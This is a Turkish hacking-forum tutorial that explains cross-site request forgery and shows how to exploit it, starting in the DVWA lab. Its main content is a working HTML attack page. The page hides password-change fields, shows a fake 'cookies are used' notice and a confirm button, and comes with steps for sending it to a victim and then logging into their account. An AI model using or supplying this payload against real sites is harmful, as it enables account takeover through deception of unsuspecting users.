CSRF Açığı Nedir? / Nasıl İstismar Edilir?

Dargaaltay

Uzman üye
7 Mar 2019
1,747
20
407
Kainat
Merhabalar, Türkçe kaynağına az rastlanan CSRF(Cross Site Request Forgery/Siteler Arası İstek Sahteciliği) açığının nasıl istismar edilebileceğini göstereceğim. Bakalım bu CSRF açıkları nasıl istismar ediliyormuş.

I2sgHe.png


Konu İçeriiği
CSRF Nedir?
CSRF Açığını İstismar Edelim

I2sU0h.png


CSRF Nedir?

I2sU0h.png


Siteler Arası İstek Sahteciliği (CSRF), kullanıcıyı şu anda kimlik doğrulamasının yapıldığı bir web uygulamasında istenmeyen eylemler gerçekleştirmeye zorlayan bir saldırıdır. Küçük bir sosyal mühendislik yardımıyla (e-posta veya sohbet yoluyla bir bağlantı göndermek gibi) bir saldırgan, bir web uygulamasının kullanıcılarını, saldırganın seçtiği eylemleri gerçekleştirmeleri için kandırılan bir açık türüdür.

I2sU0h.png


CSRF açığı kıritik düzeydedir.

I2sU0h.png


CSRF Açığını İstismar Edelim

Öncelikle bir CSRF açıklı bir site bulmalıyız. Ben bunun için sanal labaratuvar ortamı kullanacağım(DVWA).​

I2sU0h.png


1) İlk yapmamız gereken "localhostumuzu" başlatmak.

I6EUT0.gif


2) Localhostumuza bağlanarak "DVWA Labaratuvarını" açıyoruz.

I2sU0h.png


3) Karşımıza gelen sekmede "CSRF" seçeneğini seçiyoruz.

I6Ew9U.png


4) Foruma sağ tık yaparak "Ögeyi incele" seçeneğine basıyoruz. Sonra karşımıza çıkan panelde videoda gösterdiğim işlemi yaparak "<form>...</form>" etiketlerini buluyoruz ve kopyalıyoruz.

I2sU0h.png


5) Kopyaladığımız kodu aşağıdaki şekilde değiştiriyoruz.

Kod:
<html>
<head>
</head>
<div>
<form action="Site adresi buraya yazılacak" method="GET"> <!-- csrf açığı olan site adresi direk kopyala yapıştır yapın -->
			<input class="hidden" autocomplate="on" type="password" name="password_new" value="yenisifreyiburayayazin"> <!-- hidden kodunu kullanarak textboxı saklıyoruz. -->
			<input class="hidden" type="password" autocomplete="off" name="password_conf" value="yenisifreyiburayayazin"><br>
			Çerezler kullanımlaktadır <!-- bu metin sahte bir açıklama satırı olarak düşünebilirsiniz. Onayla butonuna bastığı anda şifre değişecek onun için inandırıcı bir açıklama yazın -->
			<input type="submit" value="Onayla" name="Change"> <!-- Onayla kelimeside bildiğiniz butonun üzerinde yazan onayla kelimesi işte (: -->
		</form>
</div>
********* 
.hidden{
display:none;
}
</style>
</html>

I2sU0h.png


6) Oluşturduğumuz kodu bir siteye entegre ederek kurbana yolluyoruz ve "Onayla" butonuna basmasını sağlıyoruz.

I2sU0h.png


7) Sizin vermiş olduğunuz bilgiler ile kurbanın hesap şifreleri değişmiş oldu. Artık hesaba giriş sağlayabilirsiniz.

I6Cn8H.png


Yazılı açıklamayı anlamayanlar videoyu izleyebilirler.


[ame]https://www.youtube.com/watch?v=pySp7NwF8bY[/ame]
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.